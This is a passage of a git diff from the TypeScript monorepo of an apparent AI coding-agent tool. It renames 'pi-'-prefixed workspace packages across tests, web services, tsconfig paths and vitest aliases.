b/src/tests/integration/web-onboarding-contract.test.ts @@ -17,7 +17,7 @@ const onboardingRoute = await import( const commandRoute = await import( "../../../web/app/api/session/command/route.ts" ); -const { AuthStorage } = await import("@singularity-forge/pi-coding-agent"); +const { AuthStorage } = await import("@singularity-forge/coding-agent"); const ONBOARDING_ENV_KEYS = [ "GITHUB_TOKEN", diff --git a/src/tests/integration/web-session-parity-contract.test.ts b/src/tests/integration/web-session-parity-contract.test.ts index 984705dcc..523af2e1f 100644 --- a/src/tests/integration/web-session-parity-contract.test.ts +++ b/src/tests/integration/web-session-parity-contract.test.ts @@ -24,7 +24,7 @@ const manageRoute = await import( "../../../web/app/api/session/manage/route.ts" ); const gitRoute = await import("../../../web/app/api/git/route.ts"); -const { AuthStorage } = await import("@singularity-forge/pi-coding-agent"); +const { AuthStorage } = await import("@singularity-forge/coding-agent"); afterEach(async () => { await bridge.resetBridgeServiceForTests(); @@ -713,7 +713,7 @@ test("browser session, settings, and git surfaces keep inspectable browse/manage const rpcTypesSource = readFileSync( resolve( import.meta.dirname, - "../../../packages/pi-coding-agent/src/modes/rpc/rpc-types.ts", + "../../../packages/coding-agent/src/modes/rpc/rpc-types.ts", ), "utf8", ); diff --git a/src/tests/model-registry-custom-provider.test.ts b/src/tests/model-registry-custom-provider.test.ts index 30d281e18..4a7d8d6fb 100644 --- a/src/tests/model-registry-custom-provider.test.ts +++ b/src/tests/model-registry-custom-provider.test.ts @@ -18,7 +18,7 @@ test("parseModels registers custom providers in registeredProviders (#3531)", () "..", "..", "packages", - "pi-coding-agent", + "coding-agent", "src", "core", "model-registry.ts", diff --git a/src/tests/node-modules-symlink.test.ts b/src/tests/node-modules-symlink.test.ts index 4ba214f22..c022f89c3 100644 --- a/src/tests/node-modules-symlink.test.ts +++ b/src/tests/node-modules-symlink.test.ts @@ -179,8 +179,8 @@ test("pnpm layout: merged node_modules contains entries from both hoisted and in mkdirSync(pkgRoot, { recursive: true }); // Create internal entries (workspace packages) - mkdirSync(join(internal, "@sf", "pi-ai"), { recursive: true }); - mkdirSync(join(internal, "@sf", "pi-coding-agent"), { recursive: true }); + mkdirSync(join(internal, "@sf", "ai"), { recursive: true }); + mkdirSync(join(internal, "@sf", "coding-agent"), { recursive: true }); mkdirSync(join(internal, "@sf-build", "core"), { recursive: true }); // Create merged directory manually (simulating what reconcileMergedNodeModules does) @@ -219,8 +219,8 @@ test("pnpm layout: merged node_modules contains entries from both hoisted and in // Verify: workspace packages resolve through internal symlinks assert.ok(existsSync(join(agentNodeModules, "@sf")), "@sf should resolve"); assert.ok( - existsSync(join(agentNodeModules, "@sf", "pi-ai")), - "@singularity-forge/pi-ai should resolve", + existsSync(join(agentNodeModules, "@sf", "ai")), + "@singularity-forge/ai should resolve", ); assert.ok( existsSync(join(agentNodeModules, "@sf-build")), @@ -259,7 +259,7 @@ test("pnpm layout: non-@sf internal deps (e.g. @anthropic-ai) are included in me mkdirSync(pkgRoot, { recursive: true }); // Internal: workspace packages + optional dep that wasn't hoisted - mkdirSync(join(internal, "@sf", "pi-ai"), { recursive: true }); + mkdirSync(join(internal, "@sf", "ai"), { recursive: true }); mkdirSync(join(internal, "@anthropic-ai", "claude-agent-sdk"), { recursive: true, }); diff --git a/src/tests/offline-mode.test.ts b/src/tests/offline-mode.test.ts index 62cac631a..88c835921 100644 --- a/src/tests/offline-mode.test.ts +++ b/src/tests/offline-mode.test.ts @@ -14,7 +14,7 @@ import assert from "node:assert/strict"; import { test } from "vitest"; -import { isLocalModel } from "../../packages/pi-coding-agent/src/core/local-model-check.ts"; +import { isLocalModel } from "../../packages/coding-agent/src/core/local-model-check.ts"; // ─── isLocalModel ─────────────────────────────────────────────────────────── @@ -154,7 +154,7 @@ test("web search tool is filtered when PI_OFFLINE is set", async () => { const toolExecPath = join( process.cwd(), - "packages/pi-coding-agent/src/modes/interactive/components/tool-execution.ts", + "packages/coding-agent/src/modes/interactive/components/tool-execution.ts", ); const content = readFileSync(toolExecPath, "utf-8"); assert.ok( @@ -164,7 +164,7 @@ test("web search tool is filtered when PI_OFFLINE is set", async () => { const chatControllerPath = join( process.cwd(), - "packages/pi-coding-agent/src/modes/interactive/controllers/chat-controller.ts", + "packages/coding-agent/src/modes/interactive/controllers/chat-controller.ts", ); const chatContent = readFileSync(chatControllerPath, "utf-8"); assert.ok( @@ -182,7 +182,7 @@ test("version check is skipped when PI_OFFLINE is set", async () => { const interactivePath = join( process.cwd(), - "packages/pi-coding-agent/src/modes/interactive/interactive-mode.ts", + "packages/coding-agent/src/modes/interactive/interactive-mode.ts", ); const content = readFileSync(interactivePath, "utf-8"); assert.ok( diff --git a/src/tests/pi-ai-event-stream-factory.test.ts b/src/tests/pi-ai-event-stream-factory.test.ts index ec8608100..86749cecc 100644 --- a/src/tests/pi-ai-event-stream-factory.test.ts +++ b/src/tests/pi-ai-event-stream-factory.test.ts @@ -2,10 +2,10 @@ import assert from "node:assert/strict"; import { AssistantMessageEventStream, createAssistantMessageEventStream, -} from "@singularity-forge/pi-ai"; +} from "@singularity-forge/ai"; import { describe, it } from "vitest"; -describe("@singularity-forge/pi-ai event stream exports", () => { +describe("@singularity-forge/ai event stream exports", () => { it("exports createAssistantMessageEventStream for package consumers", () => { assert.equal(typeof createAssistantMessageEventStream, "function"); const stream = createAssistantMessageEventStream(); diff --git a/src/tests/provider-manager-enter-key.test.ts b/src/tests/provider-manager-enter-key.test.ts index 75347be07..9370627be 100644 --- a/src/tests/provider-manager-enter-key.test.ts +++ b/src/tests/provider-manager-enter-key.test.ts @@ -24,7 +24,7 @@ const source = readFileSync( "..", "..", "packages", - "pi-coding-agent", + "coding-agent", "src", "modes", "interactive", diff --git a/src/tests/provider-manager-remove.test.ts b/src/tests/provider-manager-remove.test.ts index 851969d9e..848459301 100644 --- a/src/tests/provider-manager-remove.test.ts +++ b/src/tests/provider-manager-remove.test.ts @@ -5,13 +5,13 @@ import { join } from "node:path"; import { afterEach, test } from "vitest"; const { ModelsJsonWriter } = await import( - "../../packages/pi-coding-agent/src/core/models-json-writer.ts" + "../../packages/coding-agent/src/core/models-json-writer.ts" ); const { ProviderManagerComponent } = await import( - "../../packages/pi-coding-agent/src/modes/interactive/components/provider-manager.ts" + "../../packages/coding-agent/src/modes/interactive/components/provider-manager.ts" ); const { initTheme } = await import( - "../../packages/pi-coding-agent/src/modes/interactive/theme/theme.ts" + "../../packages/coding-agent/src/modes/interactive/theme/theme.ts" ); initTheme(); diff --git a/src/tests/read-tool-offset-clamp.test.ts b/src/tests/read-tool-offset-clamp.test.ts index 32d31e2cc..f09c03e29 100644 --- a/src/tests/read-tool-offset-clamp.test.ts +++ b/src/tests/read-tool-offset-clamp.test.ts @@ -12,7 +12,7 @@ import { tmpdir } from "node:os"; import { join } from "node:path"; import { afterEach, test } from "vitest"; -import { createReadTool } from "../../packages/pi-coding-agent/src/core/tools/read.ts"; +import { createReadTool } from "../../packages/coding-agent/src/core/tools/read.ts"; // ─── Helpers ───────────────────────────────────────────────────────────────── diff --git a/src/tests/resolve-ts-loader.test.ts b/src/tests/resolve-ts-loader.test.ts index 176150385..3a73f1005 100644 --- a/src/tests/resolve-ts-loader.test.ts +++ b/src/tests/resolve-ts-loader.test.ts @@ -10,12 +10,12 @@ const nextResolve = async (specifier: string) => ({ url: specifier }); const cases = [ [ - "@singularity-forge/pi-coding-agent", - "../../packages/pi-coding-agent/src/index.ts", + "@singularity-forge/coding-agent", + "../../packages/coding-agent/src/index.ts", ], ] as const; -test("resolve-ts loader redirects pi-coding-agent bare imports to the workspace source entrypoint", async () => { +test("resolve-ts loader redirects coding-agent bare imports to the workspace source entrypoint", async () => { for (const [specifier, relativeTarget] of cases) { const resolved = await resolveWithTestLoader(specifier, {}, nextResolve); assert.equal( @@ -26,29 +26,29 @@ test("resolve-ts loader redirects pi-coding-agent bare imports to the workspace } }); -test("resolve-ts loader rewrites direct pi-coding-agent source entry import to .ts", async () => { +test("resolve-ts loader rewrites direct coding-agent source entry import to .ts", async () => { const resolved = await resolveWithTestLoader( - "../../packages/pi-coding-agent/src/index.js", + "../../packages/coding-agent/src/index.js", {}, nextResolve, ); assert.equal( resolved.url, - new URL("../../packages/pi-coding-agent/src/index.ts", import.meta.url) + new URL("../../packages/coding-agent/src/index.ts", import.meta.url) .href, ); }); -test("resolve-ts loader transpiles pi-coding-agent source files that strip-only mode cannot parse", async () => { +test("resolve-ts loader transpiles coding-agent source files that strip-only mode cannot parse", async () => { const orchestratorUrl = new URL( - "../../packages/pi-coding-agent/src/core/compaction-orchestrator.ts", + "../../packages/coding-agent/src/core/compaction-orchestrator.ts", import.meta.url, ).href; const loaded = await loadWithTestLoader(orchestratorUrl, {}, async () => { throw new Error( - "expected pi-coding-agent source to be transpiled before nextLoad", + "expected coding-agent source to be transpiled before nextLoad", ); }); diff --git a/src/tests/resource-loader-conflicts.test.ts b/src/tests/resource-loader-conflicts.test.ts index d4fbcd7f9..5e611920b 100644 --- a/src/tests/resource-loader-conflicts.test.ts +++ b/src/tests/resource-loader-conflicts.test.ts @@ -3,7 +3,7 @@ import { join, relative, resolve, sep } from "node:path"; import { describe, it } from "vitest"; // ─── Inline the pure functions under test to avoid import-chain issues ─────── -// These are copied from packages/pi-coding-agent/src/core/resource-loader.ts +// These are copied from packages/coding-agent/src/core/resource-loader.ts // (detectExtensionConflicts + extractExtensionKey). The test validates the // algorithm; integration coverage lives in the full build tests. diff --git a/src/tests/security-overrides.test.ts b/src/tests/security-overrides.test.ts index fe28e1768..2fbd570ee 100644 --- a/src/tests/security-overrides.test.ts +++ b/src/tests/security-overrides.test.ts @@ -4,7 +4,7 @@ import { SAFE_COMMAND_PREFIXES, SettingsManager, setAllowedCommandPrefixes, -} from "@singularity-forge/pi-coding-agent"; +} from "@singularity-forge/coding-agent"; import { afterEach, beforeEach, describe, it } from "vitest"; import { getFetchAllowedUrls, diff --git a/src/tests/session-memory-leaks.test.ts b/src/tests/session-memory-leaks.test.ts index 66bab3129..2d09ed956 100644 --- a/src/tests/session-memory-leaks.test.ts +++ b/src/tests/session-memory-leaks.test.ts @@ -41,7 +41,7 @@ function extractFunctionBody(src: string, name: string): string { // ── TUI render-skip ───────────────────────────────────────────────── test("Container caches render output for stable-reference comparison", () => { - const src = readSource("packages/pi-tui/src/tui.ts"); + const src = readSource("packages/tui/src/tui.ts"); assert.ok( src.includes("_prevRender"), "Container must have _prevRender cache for render-skip optimization", @@ -49,7 +49,7 @@ test("Container caches render output for stable-reference comparison", () => { }); test("TUI skips post-processing when component output is unchanged", () => { - const src = readSource("packages/pi-tui/src/tui.ts"); + const src = readSource("packages/tui/src/tui.ts"); assert.ok( src.includes("_lastRenderedComponents"), "TUI must track _lastRenderedComponents for reference-equality skip", @@ -59,7 +59,7 @@ test("TUI skips post-processing when component output is unchanged", () => { // ── Loader frame isolation ────────────────────────────────────────── test("Loader does not call setText on every spinner tick", () => { - const src = readSource("packages/pi-tui/src/components/loader.ts"); + const src = readSource("packages/tui/src/components/loader.ts"); // The old pattern was: setText(`${frame} ${message}`) inside the interval // The new pattern: only update Text when message changes, prepend frame in render() assert.ok( @@ -83,7 +83,7 @@ test("Loader does not call setText on every spinner tick", () => { // ── Text cache guard ──────────────────────────────────────────────── test("Text.setText returns early when text is unchanged", () => { - const src = readSource("packages/pi-tui/src/components/text.ts"); + const src = readSource("packages/tui/src/components/text.ts"); const setTextBody = extractFunctionBody(src, "setText("); assert.ok( setTextBody.includes("if (this.text === text) return"), @@ -95,7 +95,7 @@ test("Text.setText returns early when text is unchanged", () => { test("InteractiveMode caps rendered chat components", () => { const src = readSource( - "packages/pi-coding-agent/src/modes/interactive/interactive-mode.ts", + "packages/coding-agent/src/modes/interactive/interactive-mode.ts", ); assert.ok( src.includes("MAX_CHAT_COMPONENTS"), @@ -111,7 +111,7 @@ test("InteractiveMode caps rendered chat components", () => { test("ToolExecutionComponent has dispose() to clear heavy references", () => { const src = readSource( - "packages/pi-coding-agent/src/modes/interactive/components/tool-execution.ts", + "packages/coding-agent/src/modes/interactive/components/tool-execution.ts", ); assert.ok( src.includes("dispose()"), @@ -123,7 +123,7 @@ test("ToolExecutionComponent has dispose() to clear heavy references", () => { test("InteractiveMode kills descendant processes on shutdown", () => { const src = readSource( - "packages/pi-coding-agent/src/modes/interactive/interactive-mode.ts", + "packages/coding-agent/src/modes/interactive/interactive-mode.ts", ); assert.ok( src.includes("listDescendants"), diff --git a/src/tests/terminal-cmux.test.ts b/src/tests/terminal-cmux.test.ts index c2cbe685d..25f46fc10 100644 --- a/src/tests/terminal-cmux.test.ts +++ b/src/tests/terminal-cmux.test.ts @@ -3,7 +3,7 @@ import { afterEach, test } from "vitest"; import { detectCapabilities, resetCapabilitiesCache, -} from "../../packages/pi-tui/src/terminal-image.ts"; +} from "../../packages/tui/src/terminal-image.ts"; import { isCmuxTerminal } from "../resources/extensions/shared/terminal.ts"; test("isCmuxTerminal detects cmux env vars", () => { diff --git a/src/tests/tui-autocomplete-ghost-lines.test.ts b/src/tests/tui-autocomplete-ghost-lines.test.ts index 73af9117e..cb919a886 100644 --- a/src/tests/tui-autocomplete-ghost-lines.test.ts +++ b/src/tests/tui-autocomplete-ghost-lines.test.ts @@ -4,7 +4,7 @@ import { CURSOR_MARKER, type Terminal, TUI, -} from "@singularity-forge/pi-tui"; +} from "@singularity-forge/tui"; import { describe, it } from "vitest"; class MockTTYTerminal implements Terminal { diff --git a/src/tests/tui-content-cursor-desync.test.ts b/src/tests/tui-content-cursor-desync.test.ts index d41e996ab..e932d045f 100644 --- a/src/tests/tui-content-cursor-desync.test.ts +++ b/src/tests/tui-content-cursor-desync.test.ts @@ -13,7 +13,7 @@ import { CURSOR_MARKER, type Terminal, TUI, -} from "@singularity-forge/pi-tui"; +} from "@singularity-forge/tui"; import { describe, it } from "vitest"; class MockTTYTerminal implements Terminal { diff --git a/src/tests/tui-non-tty-render-loop.test.ts b/src/tests/tui-non-tty-render-loop.test.ts index 9d1a03c0d..48402d027 100644 --- a/src/tests/tui-non-tty-render-loop.test.ts +++ b/src/tests/tui-non-tty-render-loop.test.ts @@ -10,8 +10,8 @@ */ import assert from "node:assert/strict"; -import type { Terminal } from "@singularity-forge/pi-tui"; -import { ProcessTerminal, TUI } from "@singularity-forge/pi-tui"; +import type { Terminal } from "@singularity-forge/tui"; +import { ProcessTerminal, TUI } from "@singularity-forge/tui"; import { describe, it } from "vitest"; /** diff --git a/src/tests/windows-portability.test.ts b/src/tests/windows-portability.test.ts index 1813dd408..e2e89cd44 100644 --- a/src/tests/windows-portability.test.ts +++ b/src/tests/windows-portability.test.ts @@ -3,7 +3,7 @@ import { mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import * as os from "node:os"; import * as path from "node:path"; import { test } from "vitest"; -import { resolveLocalBinaryPath } from "../../packages/pi-coding-agent/src/core/lsp/config.ts"; +import { resolveLocalBinaryPath } from "../../packages/coding-agent/src/core/lsp/config.ts"; import { encodeCwd } from "../resources/extensions/subagent/isolation.ts"; function makeTempDir(prefix: string): string { diff --git a/src/web/bridge-service.ts b/src/web/bridge-service.ts index 5547e954d..926363928 100644 --- a/src/web/bridge-service.ts +++ b/src/web/bridge-service.ts @@ -12,14 +12,14 @@ import { pathToFileURL } from "node:url"; import type { AgentSessionEvent, SessionStateChangeReason, -} from "../../packages/pi-coding-agent/src/core/agent-session.ts"; +} from "../../packages/coding-agent/src/core/agent-session.ts"; import type { RpcCommand, RpcExtensionUIRequest, RpcExtensionUIResponse, RpcResponse, RpcSessionState, -} from "../../packages/pi-coding-agent/src/modes/rpc/rpc-types.ts"; +} from "../../packages/coding-agent/src/modes/rpc/rpc-types.ts"; import { normalizeSessionBrowserQuery, type RenameSessionRequest, @@ -815,7 +815,7 @@ async function loadSessionBrowserSessionsViaChildProcess( const sessionManagerModulePath = join( config.packageRoot, "packages", - "pi-coding-agent", + "coding-agent", "dist", "core", "session-manager.js", @@ -894,7 +894,7 @@ async function appendSessionInfoViaChildProcess( const sessionManagerModulePath = join( config.packageRoot, "packages", - "pi-coding-agent", + "coding-agent", "dist", "core", "session-manager.js", diff --git a/src/web/onboarding-service.ts b/src/web/onboarding-service.ts index 732aa7723..ba9c63407 100644 --- a/src/web/onboarding-service.ts +++ b/src/web/onboarding-service.ts @@ -3,8 +3,8 @@ import type { OAuthAuthInfo, OAuthPrompt, OAuthProviderInterface, -} from "../../packages/pi-ai/dist/oauth.js"; -import { getEnvApiKey } from "../../packages/pi-ai/src/web-runtime-env-api-keys.ts"; +} from "../../packages/ai/dist/oauth.js"; +import { getEnvApiKey } from "../../packages/ai/src/web-runtime-env-api-keys.ts"; import { authFilePath } from "../app-paths.ts"; import { type OnboardingAuthStorage as AuthStorageInstance, diff --git a/src/web/web-auth-storage.ts b/src/web/web-auth-storage.ts index c58381569..c23e7c565 100644 --- a/src/web/web-auth-storage.ts +++ b/src/web/web-auth-storage.ts @@ -12,8 +12,8 @@ import { type OAuthCredentials, type OAuthLoginCallbacks, type OAuthProviderInterface, -} from "../../packages/pi-ai/dist/oauth.js"; -import { getEnvApiKey } from "../../packages/pi-ai/src/web-runtime-env-api-keys.ts"; +} from "../../packages/ai/dist/oauth.js"; +import { getEnvApiKey } from "../../packages/ai/src/web-runtime-env-api-keys.ts"; export type ApiKeyCredential = { type: "api_key"; diff --git a/src/wizard.ts b/src/wizard.ts index 546bbe18b..5c29a0f68 100644 --- a/src/wizard.ts +++ b/src/wizard.ts @@ -1,4 +1,4 @@ -import type { AuthStorage } from "@singularity-forge/pi-coding-agent"; +import type { AuthStorage } from "@singularity-forge/coding-agent"; // ─── Env hydration ──────────────────────────────────────────────────────────── diff --git a/tsconfig.extensions.json b/tsconfig.extensions.json index 6b6822196..0a4555b31 100644 --- a/tsconfig.extensions.json +++ b/tsconfig.extensions.json @@ -11,15 +11,15 @@ "rootDir": ".", "baseUrl": ".", "paths": { - "@singularity-forge/pi-coding-agent": [ - "packages/pi-coding-agent/src/index.ts" + "@singularity-forge/coding-agent": [ + "packages/coding-agent/src/index.ts" ], - "@singularity-forge/pi-ai": ["packages/pi-ai/src/index.ts"], - "@singularity-forge/pi-ai/*": ["packages/pi-ai/src/*.ts"], - "@singularity-forge/pi-agent-core": [ - "packages/pi-agent-core/src/index.ts" + "@singularity-forge/ai": ["packages/ai/src/index.ts"], + "@singularity-forge/ai/*": ["packages/ai/src/*.ts"], + "@singularity-forge/agent-core": [ + "packages/agent-core/src/index.ts" ], - "@singularity-forge/pi-tui": ["packages/pi-tui/src/index.ts"], + "@singularity-forge/tui": ["packages/tui/src/index.ts"], "@singularity-forge/native": ["packages/native/src/index.ts"], "@singularity-forge/native/*": ["packages/rust-engine/src/*/index.ts"], "@singularity-forge/rpc-client": ["packages/rpc-client/src/index.ts"] diff --git a/vitest.config.ts b/vitest.config.ts index 1c925cfd3..c9f128882 100644 --- a/vitest.config.ts +++ b/vitest.config.ts @@ -50,29 +50,29 @@ export default defineConfig({ // NodeNext module resolution and path aliases to match the project's tsconfig. resolve: { alias: { - "@singularity-forge/pi-coding-agent": resolve( + "@singularity-forge/coding-agent": resolve( __dirname, - "packages/pi-coding-agent/src/index.ts", + "packages/coding-agent/src/index.ts", ), - "@singularity-forge/pi-ai/oauth": resolve( + "@singularity-forge/ai/oauth": resolve( __dirname, - "packages/pi-ai/src/utils/oauth/index.ts", + "packages/ai/src/utils/oauth/index.ts", ), - "@singularity-forge/pi-ai/bedrock-provider": resolve( + "@singularity-forge/ai/bedrock-provider": resolve( __dirname, - "packages/pi-ai/src/bedrock-provider.ts", + "packages/ai/src/bedrock-provider.ts", ), - "@singularity-forge/pi-ai": resolve( + "@singularity-forge/ai": resolve( __dirname, - "packages/pi-ai/src/index.ts", + "packages/ai/src/index.ts", ), - "@singularity-forge/pi-agent-core": resolve( + "@singularity-forge/agent-core": resolve( __dirname, - "packages/pi-agent-core/src/index.ts", + "packages/agent-core/src/index.ts", ), - "@singularity-forge/pi-tui": resolve( + "@singularity-forge/tui": resolve( __dirname, - "packages/pi-tui/src/index.ts", + "packages/tui/src/index.ts", ), "@singularity-forge/native/ast": resolve( __dirname, @@ -177,10 +177,10 @@ export default defineConfig({ "src/resources/extensions/mcp-client/tests/**/*.test.ts", "src/resources/extensions/async-jobs/*.test.ts", "src/resources/extensions/browser-tools/tests/*.test.mjs", - "packages/pi-coding-agent/src/**/*.test.ts", - "packages/pi-ai/src/**/*.test.ts", - "packages/pi-agent-core/src/**/*.test.ts", - "packages/pi-tui/src/**/*.test.ts", + "packages/coding-agent/src/**/*.test.ts", + "packages/ai/src/**/*.test.ts", + "packages/agent-core/src/**/*.test.ts", + "packages/tui/src/**/*.test.ts", "packages/daemon/src/**/*.test.ts", "packages/rpc-client/src/**/*.test.ts", "packages/native/src/**/*.test.mjs", diff --git a/web/lib/browser-slash-command-dispatch.ts b/web/lib/browser-slash-command-dispatch.ts index 80eaf5ccf..40ef09996 100644 --- a/web/lib/browser-slash-command-dispatch.ts +++ b/web/lib/browser-slash-command-dispatch.ts @@ -1,4 +1,4 @@ -import { BUILTIN_SLASH_COMMANDS } from "../../packages/pi-coding-agent/src/core/slash-commands.ts"; +import { BUILTIN_SLASH_COMMANDS } from "../../packages/coding-agent/src/core/slash-commands.ts"; export type BrowserSlashCommandSurface = | "settings"